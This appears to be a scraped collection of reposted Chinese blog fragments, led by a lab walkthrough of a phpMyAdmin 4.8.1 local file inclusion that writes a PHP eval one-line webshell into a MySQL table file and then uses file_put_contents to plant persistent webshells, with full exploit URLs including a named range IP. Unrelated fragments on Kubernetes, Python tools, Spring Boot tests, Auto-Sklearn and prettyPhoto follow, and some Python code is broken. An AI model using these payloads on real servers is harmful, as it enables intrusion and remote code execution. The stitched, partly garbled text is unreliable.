“其他选项菜单”——“打开配置文件”——“php-ini” 打开配置文件，搜索allow_url_include 把Off改为On，注：第一个字母要为大写 之后要重启才能生效。 配置开启后，我们来远程文件包含一下，我们来远程包含一下kali上的1.txt，可以看到没有本地包含，所以直接显示的内容。 那我们现在来远程包含一下kali的这个1.txt，看会不会有phpinfo，注意我这里是index文件哦，所以是默认的。 可以看到，包含成功！ 这里可以插一句题外话，如果是window服务器的话，可以让本地文件包含变成远程文件包含。需要开始XX配置，SMB服务。 这里我们可以发现，进入一个不存在的目录，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。 但是php是非常严格的，进入一个不存在的目录，这里目录的名字里不能有？号，否则报错，然后再返回上一级，相当于没变目录位置，这个是不影响的，而且这个不存在的目录随便怎么写都可以。 实战 注意，这里php版本过低，会安装不上 安装好后，我们来解析下源码 1.txt内容phpinfo() 来本地文件包含一下，发现成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../11.txt 靶场 http://59.63.200.79:8010/lfi/phpmyadmin/ 先创建一个库名：nf 接着创建表：ff,字段数选2个就行了 然后选中我们之前创建好的库名和表名，开始写入数据，第一个就写个一句话木马，第二个随便填充。 然后我们找到存放表的路径。 这里我们要传参2个，那么就加上&这里我们找到之后传参phpinfo http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=phpinfo(); 因为a在ff.frm里 <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 文件包含成功 用file_put_contents(‘8.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/…/phpstudy/mysql/data/nf/ff.frm&a=file_put_contents(‘8.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 写入成功后，我们连接这个8.php的木马。 http://59.63.200.79：8010/phpmyadmin/phpMyAdmin-4.8.1-all-languages/8.php 在线测试时这样，但是我在本地测试的时候，还是有点不一样的。我就直接上不一样的地方，前面的地方都是一样的 1，创建一个库为yingqian1984, 2，创建一个表为yq1984 3，填充表数据,因为跟上面一样，2个字段一个木马，一个随便数据 4，找数据表的位置，最后我发现我的MySQL存放数据库的地方是在 C:\ProgramData\MySQL\MySQL Server 5.7\Data\yingqian1984 文件包含成功。 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=phpinfo(); 用file_put_contents(‘9.php’,’<?php eval($_REQUEST[a]);?>’)写入一句话木马 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/…/…/…/…/ProgramData/MySQL/MySQL Server 5.7/Data/yingqian1984/qy1984.frm&a=file_put_contents(‘9.php’,’<?php eval($_REQUEST[a])?>’); <?php eval($_REQUEST[a])?>注意，这里面没有分号和单引号 传参成功 http://127.0.0.1/phpmyadmin/phpMyAdmin-4.8.1-all-languages/9.php?a=phpinfo(); 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_45300786/article/details/108724251。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...，假如我们的应用程序比较简单，对横向扩展需求不大，那么把一个Pod当作一组应用实例来用，或许是个更棒的选择~换种说法，假如咱需要应对大量请求，而且常常得扩大规模，那么将一个应用分散到多个Pod里头运行或许更能满足咱们的实际需求。这样就更贴近生活场景了，就像是盖楼的时候，如果预计会有很多人入住，我们就得多盖几栋楼来分散容纳，而不是只建一栋超级大楼。甭管你选哪种招儿，咱都得时刻盯紧Pod的状态，时不时给它做个“体检”和保养，这样才能确保整个系统的平稳运行和随时待命。

...内置了许多实用功能和函数，同时它也是科学计算和交互可视化的最佳平台。 　　3、Jupyter Notebook 　　Jupyter Notebook 就像一个草稿本，能将文本注释、数学方程、代码和可视化内容全部组合到一个易于共享的文档中，以 Web 页面的方式展示。它是数据分析、机器学习的必备工具。回复 “jupyter” 给你看一个基于 jupyter 写的 Python 教程。 　　4、Anaconda 　　Python 虽好，可总是会遇到各种包管理和 Python 版本问题，特别是 Windows 平台很多包无法正常安装，为了解决这些问题，Anoconda 出现了，Anoconda 包含了一个包管理工具和一个Python管理环境，同时附带了一大批常用数据科学包，也是数据分析的标配。 　　5、Skulpt 　　Skulpt 是一个用 Javascript 实现的在线 Python 执行环境，它可以让你轻松在浏览器中运行 Python 代码。使用 skulpt 结合 CodeMirror 编辑器即可实现一个基本的在线Python编辑和运行环境。 　　以上主要介绍Python Tutor、IPython、Jupyter Notebook、Anaconda、Skulpt常见的五种工具。 Python经验分享 学好 Python 不论是就业还是做副业赚钱都不错，但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料，给那些想学习 Python 的小伙伴们一点帮助！ Python学习路线 这里把Python常用的技术点做了整理，有各个领域的知识点汇总，可以按照上面的知识点找对应的学习资源。 学习软件 Python常用的开发软件，会给大家节省很多时间。 学习视频 编程学习一定要多多看视频，书籍和视频结合起来学习才能事半功倍。 100道练习题 实战案例 光学理论是没用的，学习编程切忌纸上谈兵，一定要动手实操，将自己学到的知识运用到实际当中。 最后祝大家天天进步！！ 上面这份完整版的Python全套学习资料已经上传至CSDN官方，朋友如果需要可以直接微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】。 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_67991858/article/details/128340577。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

... public void testGetUserById() { // 假设我们有一个获取用户信息的方法 User user = userService.getUserById(1); // 断言结果符合预期 assertNotNull(user); assertEquals("预期的用户名", user.getUsername()); } // 更多测试方法... } 在这个例子中，@SpringBootTest注解使得Spring Boot应用上下文被加载，从而我们可以注入需要测试的服务对象。@Test注解则标记了这是一个单元测试方法。 4. 使用MockMvc进行Web接口测试 当我们要测试Controller层的时候，可以借助SpringBootTest提供的MockMvc工具进行模拟请求测试： java import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.test.web.servlet.MockMvc; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; @SpringBootTest @AutoConfigureMockMvc public class UserControllerTest { @Autowired private MockMvc mockMvc; @Test public void testGetUser() throws Exception { mockMvc.perform(get("/users/1")) .andExpect(status().isOk()); // 可以进一步解析响应内容并进行断言 } } 在这段代码中，@AutoConfigureMockMvc注解会自动配置一个MockMvc对象，我们可以用它来模拟HTTP请求，并检查返回的状态码或响应体。 5. 结语 通过以上示例，我们可以看到SpringBoot与JUnit的集成使单元测试变得更加直观和便捷。这东西可不简单，它不仅能帮我们把每一行代码都捯饬得准确无误，更是在持续集成和持续部署（CI/CD）这一套流程里，扮演着不可或缺的关键角色。所以，亲，听我说，把单元测试搂得紧紧的，特别是在像SpringBoot这样新潮的开发框架下，绝对是每个程序员提升代码质量和效率的必修课。没有它，你就像是在编程大道上少了一双好跑鞋，知道不？在实际动手操作中不断摸索和探究，你会发现单元测试就像一颗隐藏的宝石，充满了让人着迷的魅力。而且，你会更深刻地感受到，它在提升开发过程中的快乐指数、让你编程生活更加美滋滋这方面，可是起着大作用呢！

...高斯过程）来描述目标函数，并以这种概率模型为基础进行采样和决策，从而在最少的函数评估次数下找到最优解。在Auto-Sklearn中，贝叶斯优化用于机器学习模型的超参数搜索，通过迭代更新后验分布来指导下一步的超参数组合选取，力求在有限计算资源下找到最佳模型配置。 自动特征选择与工程 , 自动特征选择是指机器学习算法自动识别并筛选出对模型性能最有贡献的特征子集的过程。自动特征工程则更进一步，涵盖了特征清洗、转换、构造等预处理操作，例如数据归一化、缺失值填充、特征编码等。在Auto-Sklearn中，这一功能可以自动化地完成从原始数据到最终用于训练模型的高质量特征集的构建，减轻了数据预处理阶段的工作负担。 超参数优化 , 超参数是定义机器学习模型结构或训练过程的参数，它们通常不是由训练算法直接学习得到，而需要人工设定。超参数优化就是寻找一组最佳的超参数设置，以使得模型在特定评价指标上达到最优性能。Auto-Sklearn通过贝叶斯优化技术进行超参数搜索，能够有效地遍历超参数空间，找到最优超参数组合，从而提升模型在未知数据上的泛化能力。

...例中，我们定义了一个函数 volume_of_hemisphere，它接受一个参数 radius（即半球的半径），然后根据上面提到的公式计算并返回半球的体积。最后，我们通过给定半径为5单位来测试我们的函数。 示例2：增加用户交互 python import math def calculate_volume(): radius = float(input("请输入半球的半径：")) volume = (2/3) math.pi (radius 3) print(f"半球的体积约为：{volume:.2f}") calculate_volume() 在这个版本中，我们增加了用户交互功能，允许用户输入半球的半径，然后程序会输出对应的体积。这儿用的是 input() 函数来抓取大伙儿的输入，然后用 print() 函数把结果弄得漂漂亮亮的，保留俩小数点，看着就顺眼。 示例3：面向对象编程 python import math class Hemisphere: def __init__(self, radius): self.radius = radius def volume(self): return (2/3) math.pi (self.radius 3) 创建半球实例 hemisphere = Hemisphere(5) print(f"半球的体积为：{hemisphere.volume():.2f}") 这个版本采用了面向对象的方法，定义了一个名为 Hemisphere 的类，该类包含一个构造函数和一个方法 volume() 来计算体积。通过这种方式，我们可以更方便地管理和操作半球的相关属性和行为。 4. 总结与反思 通过上述三个不同的示例，我们可以看到，即使是同一个问题，也可以用多种方式来解决。从最基本的函数调用，到让用户动起来的交互设计，再到酷炫的面向对象编程，每种方式都有它的独门绝技。这事儿让我明白，在编程这个圈子里，其实没有什么绝对的对错之分，最重要的是得找到最适合自己眼下情况和需要的方法。 同时，这次探索也让我深刻体会到数学与编程之间的紧密联系。很多时候，我们面对的问题不仅仅是技术上的挑战，更是对数学知识的理解和应用。希望能给你带来点灵感，不管是学Python还是别的啥，保持好奇心和爱折腾的精神可太重要了！ 好了，这就是今天的内容。如果你有任何想法或疑问，欢迎随时留言讨论。让我们一起继续学习，享受编程带来的乐趣吧！ --- 这篇文章旨在通过具体案例展示如何利用Python解决实际问题，同时穿插了一些个人思考和感受，希望能够符合你对于“口语化”、“情感化”的要求。希望对你有所帮助！

...t_2.jpg" width="60" height="60" alt="This is the title" /> </a> 2、图片相册 复制代码代码如下: <a href="images/fullscreen/1.jpg" rel="prettyPhoto[pp_gal]" title="You can add caption to pictures."> <img src="images/thumbnails/t_1.jpg" width="60" height="60" alt="Red round shape" /> </a> <a href="images/fullscreen/2.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_2.jpg" width="60" height="60" alt="Nice building" /> </a> <a href="images/fullscreen/3.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_3.jpg" width="60" height="60" alt="Fire!" /> </a> <a href="images/fullscreen/4.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_4.jpg" width="60" height="60" alt="Rock climbing" /> </a> <a href="images/fullscreen/5.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_5.jpg" width="60" height="60" alt="Fly kite, fly!" /> </a> 3、单个flash 复制代码代码如下: <a href="http://www.adobe.com/products/flashplayer/include/marquee/design.swf?width=792&height=294" rel="prettyPhoto[flash]" title="Flash 10 demo"> <img src="images/thumbnails/flash-logo.jpg" alt="Flash 10 demo" width="60" /> </a> 4、YouTube视频 复制代码代码如下: <a href="http://www.youtube.com/watch?v=qqXi8WmQ_WM" rel="prettyPhoto" title=""> <img src="images/thumbnails/flash-logo.jpg" alt="YouTube" width="60" /> </a> 5、Vimeo 复制代码代码如下: <a href="http://vimeo.com/8245346" rel="prettyPhoto" title=""> <img src="images/thumbnails/flash-logo.jpg" alt="YouTube" width="60" /> </a> 6、QuickTime影片 复制代码代码如下: <a title="Despicable Me" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/universal/despicableme/despicableme-tlr1_r640s.mov?width=640&height=360"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Despicable Me" width="50" /> </a> <a title="Tales from Earthsea" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/disney/talesfromearthsea/talesfromearthsea-tlr1_r640s.mov?width=640&height=340"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Tales from Earthsea" width="50" /> </a> <a title="Grease Sing-A-Long" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/paramount/greasesingalong/greasesingalong-tlr1_r640s.mov?width=640&height=272"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Grease Sing-A-Long" width="50" /> </a> 7、外部网站（iframe） 复制代码代码如下: <a href="http://www.google.com?iframe=true&width=100%&height=100%" rel="prettyPhoto[iframes]" title="Google.com opened at 100%">Google.com</a> <a href="http://www.apple.com?iframe=true&width=500&height=250" rel="prettyPhoto[iframes]">Apple.com</a> <a href="http://www.twitter.com?iframe=true&width=400&height=200" rel="prettyPhoto[iframes]">Twitter.com</a> 8、普通文本 复制代码代码如下: <a href="inline-1" rel="prettyPhoto" ><img src="/wp-content/themes/NMFE/images/thumbnails/earth-logo.jpg" alt="" width="50" /></a> <div id="inline-1" class="hide"> <p>这里是普通的文本</p> <p>今天给大家介绍的prettyPhoto希望大家能喜欢，这个是播放普通文本的html</p> </div> 9、AJAX内容 复制代码代码如下: <a rel="prettyPhoto[ajax]" href="/demos/prettyPhoto-jquery-lightbox-clone/xhr_response.html? ajax=true&width=325&height=185">Ajax content</a> 三、总结 prettyBox图片播放插件很好用，赶紧用它来打造你的专属相册吧！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/gong1422425666/article/details/72817469。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。